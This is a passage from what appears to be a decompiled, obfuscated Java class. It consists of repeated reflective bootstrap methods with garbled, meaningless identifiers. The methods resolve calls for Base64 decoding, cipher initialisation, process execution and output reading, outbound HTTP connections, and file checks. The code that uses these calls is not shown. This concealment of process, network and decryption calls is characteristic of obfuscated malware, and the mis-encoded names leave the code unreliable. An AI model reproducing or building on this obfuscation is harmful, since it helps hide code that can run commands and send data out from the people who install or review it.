949 if (мІЉ[49] == null) {
950 мІЉ[49] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.util.Base64"), "getDecoder", var2).asType(var2));
951 }
952
953 return мІЉ[49];
954 }
955
956 private static Object жІҐ(Object var0, String var1, MethodType var2) {
957 if (мІЉ == null) {
958 мІЉ = new Object[59];
959 }
960
961 if (мІЉ[33] == null) {
962 мІЉ[33] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.lang.Integer"), "parseInt", var2).asType(var2));
963 }
964
965 return мІЉ[33];
966 }
967
968 private static Object ићЊ(Object var0, String var1, MethodType var2) {
969 if (мІЉ == null) {
970 мІЉ = new Object[59];
971 }
972
973 if (мІЉ[13] == null) {
974 мІЉ[13] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("javax.crypto.Cipher"), "init", var2.dropParameterTypes(0, 1)).asType(var2));
975 }
976
977 return мІЉ[13];
978 }
979
980 private static Object л”ў(Object var0, String var1, MethodType var2) {
981 if (мІЉ == null) {
982 мІЉ = new Object[59];
983 }
984
985 if (мІЉ[42] == null) {
986 мІЉ[42] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.BufferedReader"), "readLine", var2.dropParameterTypes(0, 1)).asType(var2));
987 }
988
989 return мІЉ[42];
990 }
991
992 private static Object иј©(Object var0, String var1, MethodType var2) {
993 if (мІЉ == null) {
994 мІЉ = new Object[59];
995 }
996
997 if (мІЉ[30] == null) {
998 мІЉ[30] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.BufferedInputStream"), "close", var2.dropParameterTypes(0, 1)).asType(var2));
999 }
1000
1001 return мІЉ[30];
1002 }
1003
1004 private static Object еЂҐ(Object var0, String var1, MethodType var2) {
1005 if (мІЉ == null) {
1006 мІЉ = new Object[59];
1007 }
1008
1009 if (мІЉ[51] == null) {
1010 мІЉ[51] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.Process"), "waitFor", var2.dropParameterTypes(0, 1)).asType(var2));
1011 }
1012
1013 return мІЉ[51];
1014 }
1015
1016 private static Object ж”›(Object var0, String var1, MethodType var2) {
1017 if (мІЉ == null) {
1018 мІЉ = new Object[59];
1019 }
1020
1021 if (мІЉ[41] == null) {
1022 мІЉ[41] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.HttpURLConnection"), "setRequestMethod", var2.dropParameterTypes(0, 1)).asType(var2));
1023 }
1024
1025 return мІЉ[41];
1026 }
1027
1028 private static Object г°ў(Object var0, String var1, MethodType var2) {
1029 if (мІЉ == null) {
1030 мІЉ = new Object[59];
1031 }
1032
1033 if (мІЉ[34] == null) {
1034 мІЉ[34] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.String"), "contains", var2.dropParameterTypes(0, 1)).asType(var2));
1035 }
1036
1037 return мІЉ[34];
1038 }
1039
1040 private static Object к™”(Object var0, String var1, MethodType var2) {
1041 if (мІЉ == null) {
1042 мІЉ = new Object[59];
1043 }
1044
1045 if (мІЉ[22] == null) {
1046 мІЉ[22] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.security.DigestInputStream"), "read", var2.dropParameterTypes(0, 1)).asType(var2));
1047 }
1048
1049 return мІЉ[22];
1050 }
1051
1052 private static Object и™Ў(Object var0, String var1, MethodType var2) {
1053 if (мІЉ == null) {
1054 мІЉ = new Object[59];
1055 }
1056
1057 if (мІЉ[3] == null) {
1058 мІЉ[3] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.security.DigestInputStream"), "close", var2.dropParameterTypes(0, 1)).asType(var2));
1059 }
1060
1061 return мІЉ[3];
1062 }
1063
1064 private static Object Еќ(Object var0, String var1, MethodType var2) {
1065 if (мІЉ == null) {
1066 мІЉ = new Object[59];
1067 }
1068
1069 if (мІЉ[31] == null) {
1070 мІЉ[31] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.URLConnection"), "getInputStream", var2.dropParameterTypes(0, 1)).asType(var2));
1071 }
1072
1073 return мІЉ[31];
1074 }
1075
1076 private static Object й…Ќ(Object var0, String var1, MethodType var2) {
1077 if (мІЉ == null) {
1078 мІЉ = new Object[59];
1079 }
1080
1081 if (мІЉ[21] == null) {
1082 мІЉ[21] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.URLConnection"), "setDoInput", var2.dropParameterTypes(0, 1)).asType(var2));
1083 }
1084
1085 return мІЉ[21];
1086 }
1087
1088 private static Object 襩(Object var0, String var1, MethodType var2) {
1089 if (мІЉ == null) {
1090 мІЉ = new Object[59];
1091 }
1092
1093 if (мІЉ[50] == null) {
1094 мІЉ[50] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.security.MessageDigest"), "getInstance", var2).asType(var2));
1095 }
1096
1097 return мІЉ[50];
1098 }
1099
1100 private static Object ﮥ(Object var0, String var1, MethodType var2) {
1101 if (мІЉ == null) {
1102 мІЉ = new Object[59];
1103 }
1104
1105 if (мІЉ[52] == null) {
1106 мІЉ[52] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.BufferedInputStream"), "read", var2.dropParameterTypes(0, 1)).asType(var2));
1107 }
1108
1109 return мІЉ[52];
1110 }
1111
1112 private static Object Ⱪ(Object var0, String var1, MethodType var2) {
1113 if (мІЉ == null) {
1114 мІЉ = new Object[59];
1115 }
1116
1117 if (мІЉ[18] == null) {
1118 мІЉ[18] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.Process"), "getInputStream", var2.dropParameterTypes(0, 1)).asType(var2));
1119 }
1120
1121 return мІЉ[18];
1122 }
1123
1124 private static Object нњћ(Object var0, String var1, MethodType var2) {
1125 if (мІЉ == null) {
1126 мІЉ = new Object[59];
1127 }
1128
1129 if (мІЉ[20] == null) {
1130 мІЉ[20] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.File"), "exists", var2.dropParameterTypes(0, 1)).asType(var2));
1131 }
1132
1133 return мІЉ[20];
1134 }
1135
1136 private static Object еЋ‡(Object var0, String var1, MethodType var2) {
1137 if (мІЉ == null) {
1138 мІЉ = new Object[59];
1139 }
1140
1141 if (мІЉ[40] == null) {
1142 мІЉ[40] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.URLConnection"), "setUseCaches", var2.dropParameterTypes(0, 1)).asType(var2));
1143 }
1144
1145 return мІЉ[40];
1146 }
1147
1148 private static Object Кћ(Object var0, String var1, MethodType var2) {
1149 if (мІЉ == null) {
1150 мІЉ = new Object[59];
1151 }
1152
1153 if (мІЉ[24] == null) {
1154 мІЉ[24] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.URLConnection"), "setDoOutput", var2.dropParameterTypes(0, 1)).asType(var2));
1155 }
1156
1157 return мІЉ[24];
1158 }
1159}